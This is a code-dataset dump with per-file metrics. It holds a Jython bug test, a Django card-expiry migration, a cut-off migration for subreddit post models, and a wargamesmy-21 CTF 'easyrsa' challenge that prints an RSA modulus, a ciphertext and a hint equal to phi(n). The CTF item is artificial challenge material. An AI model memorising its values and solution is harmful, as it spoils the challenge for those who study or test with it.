0.048837
0
0
0
0
0
0
1
0.104478
false
0
0.029851
0
0.238806
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5f0b23e3e78b6904d55314df5fc85c2a41175d92
12
py
Python
bugtests/test218c.py
doom38/jython_v2.2.1
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
[ "CNRI-Jython" ]
null
null
null
bugtests/test218c.py
doom38/jython_v2.2.1
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
[ "CNRI-Jython" ]
null
null
null
bugtests/test218c.py
doom38/jython_v2.2.1
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
[ "CNRI-Jython" ]
null
null
null
a,b, = 1,2
4
10
0.333333
4
12
1
1
0
0
0
0
0
0
0
0
0
0
0.25
0.333333
12
2
11
6
0.25
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
5f31cc985e6d73e89bc45c6b700c2bf7c866f34e
2,032
py
Python
datatrans/migrations/0002_stricter_expiry_validation.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
9
2017-09-12T12:45:30.000Z
2022-03-30T13:53:57.000Z
datatrans/migrations/0002_stricter_expiry_validation.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
null
null
null
datatrans/migrations/0002_stricter_expiry_validation.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
1
2021-11-08T10:21:01.000Z
2021-11-08T10:21:01.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-10-26 02:55 from __future__ import unicode_literals import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('datatrans', '0001_initial'), ] operations = [ migrations.AlterField( model_name='aliasregistration', name='expiry_month', field=models.IntegerField(default=1, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(12)]), preserve_default=False, ), migrations.AlterField( model_name='aliasregistration', name='expiry_year', field=models.IntegerField(default=1, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(99)]), preserve_default=False, ), migrations.AlterField( model_name='payment', name='expiry_month', field=models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(12)]), ), migrations.AlterField( model_name='payment', name='expiry_year', field=models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(99)]), ), migrations.AlterField( model_name='refund', name='expiry_month', field=models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(12)]), ), migrations.AlterField( model_name='refund', name='expiry_year', field=models.IntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(99)]), ), ]
41.469388
165
0.65748
197
2,032
6.680203
0.274112
0.098784
0.197568
0.132219
0.839666
0.839666
0.832827
0.653495
0.653495
0.653495
0
0.0259
0.220965
2,032
48
166
42.333333
0.805433
0.033465
0
0.731707
1
0
0.076492
0
0
0
0
0
0
1
0
false
0
0.073171
0
0.146341
0
0
0
0
null
0
1
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a043f48aa1bff70024812f15344c570324356f0d
2,182
py
Python
_ctfs/wargamesmy-21/easyrsa/chal.py
daniellimws/daniellimws.github.io
464548e058ca423548cbe95c4ee38f856f9185c2
[ "MIT" ]
1
2019-01-31T16:50:12.000Z
2019-01-31T16:50:12.000Z
_ctfs/wargamesmy-21/easyrsa/chal.py
daniellimws/daniellimws.github.io
464548e058ca423548cbe95c4ee38f856f9185c2
[ "MIT" ]
null
null
null
_ctfs/wargamesmy-21/easyrsa/chal.py
daniellimws/daniellimws.github.io
464548e058ca423548cbe95c4ee38f856f9185c2
[ "MIT" ]
3
2019-03-04T12:46:18.000Z
2021-05-18T16:10:44.000Z
#!/usr/bin/env python3 from Crypto.Util.number import * from secret import flag # Generate public key p = getStrongPrime(1024) q = getStrongPrime(1024) n = p*q e = 0x10001 # Encrypt the flag m = bytes_to_long(flag) c = pow(m, e, n) print(f"n = {n}") print(f"c = {c}") print(f"hint = {p*q-p-q+1}") # Output: # n = 18304313499627278872497347106781088765844971752924494936581137294399251598122054491970352624997804891597368572151975199012875361892862378834285683652903007044947055619342684830043887388520198889986897901082447405903406407594879218477486010303949150584062013743002102223027695933305578474279402543515765336412208006859054393534570841203144021034140207743659756456355176186058669431050817944354369543943180071004478988621167578794309738088175437410128123233192513558339607610423092758817077116782370405814263505215749482674852889252017589696530422547393123978624883889069727557585210879305319883301371816205528090434407 # c = 3265951707172242709727472739386873494703249912285505265371146393196030372413781803930164663149372228439333733865082330011642704913091249653497200378094433504467567333190234739925103462552251607608028955840038227014596825040840010571742127988310589087523302675740007385714132298726983039469798322204553974625219330303100743678921966397869657279014124458772194638540183755564805923024931908465309561190023476921354145819156231466029924640305856472832006337877361608232560677427859686638842493170149297308146210190273895689592042634336709605961185187133364422992915741362901814469213680894412670787153775867317785600107 # hint = 18304313499627278872497347106781088765844971752924494936581137294399251598122054491970352624997804891597368572151975199012875361892862378834285683652903007044947055619342684830043887388520198889986897901082447405903406407594879218477486010303949150584062013743002102223027695933305578474279402543515765336411937188290852419206090437467585625464287266017790518369458197274062030222343619328717682343452270958441659650865431008054752337347886117365637267521107136683063583439472152237290665940293045834312267414723015783277860478421527455012050450676028820776344490403116318288525984705526824558715069751252595489120600
109.1
626
0.944088
63
2,182
32.666667
0.587302
0.002915
0.006803
0
0
0
0
0
0
0
0
0.880189
0.028414
2,182
20
626
109.1
0.090566
0.886343
0
0
1
0
0.132231
0
0
1
0.028926
0
0
1
0
false
0
0.181818
0
0.181818
0.272727
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1
1
0
0
1
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
7
cd51dfba16a5cccfa92a662d70bf25cb09724878
52,559
py
Python
velkozz_web_api/apps/social_media_api/migrations/0006_auto_20210329_0700.py
velkoz-data-ingestion/velkozz_web_api
519a6a90e5fdf5bab8ba2daf637768c5fd424a12
[ "MIT" ]
null
null
null
velkozz_web_api/apps/social_media_api/migrations/0006_auto_20210329_0700.py
velkoz-data-ingestion/velkozz_web_api
519a6a90e5fdf5bab8ba2daf637768c5fd424a12
[ "MIT" ]
null
null
null
velkozz_web_api/apps/social_media_api/migrations/0006_auto_20210329_0700.py
velkoz-data-ingestion/velkozz_web_api
519a6a90e5fdf5bab8ba2daf637768c5fd424a12
[ "MIT" ]
null
null
null
# Generated by Django 3.1.3 on 2021-03-29 07:00 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('social_media_api', '0005_auto_20210329_0621'), ] operations = [ migrations.CreateModel( name='CanadaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='canada', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Canada Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='ChinaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='China', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'China Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='ConflictNewsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='ConflictNews', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'ConflictNews Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='ConservativePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Conservative', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Conservative Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='CryptoCurrencyPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='HongKong', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'CryptoCurrency Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='DemocratsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='democrats', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Democrats Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='EconomicsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Economics', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Economics Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='EnergyPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='energy', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Energy Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='HongKongPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='HongKong', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'HongKong Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='IndiaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='india', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'India Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='IsraelPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Israel', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Israel Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='JapanPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='japan', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Japan Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='KoreaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='korea', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Korea Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='LiberalPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Liberal', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Liberal Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='LibertarianPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Libertarian', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Libertarian Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='MalaysiaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='malaysia', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Malaysia Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='MiddleEastNewsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='MiddleEastNews', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'MiddleEastNews Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='NeutralPoliticsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='NeutralPolitics', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'NeutralPolitics Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='NewsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='news', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'News Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='NorthKoreaNewsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='NorthKoreaNews', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'NorthKoreaNews Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='NorthKoreaPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='northkorea', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'North Korea Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='PakistanPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='pakistan', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Pakistan Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='PalestinePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Palestine', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Palestine Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='PoliticsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='politics', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Politics Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='ProgressivePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='progressive', editable=False, max_length=200)), ], 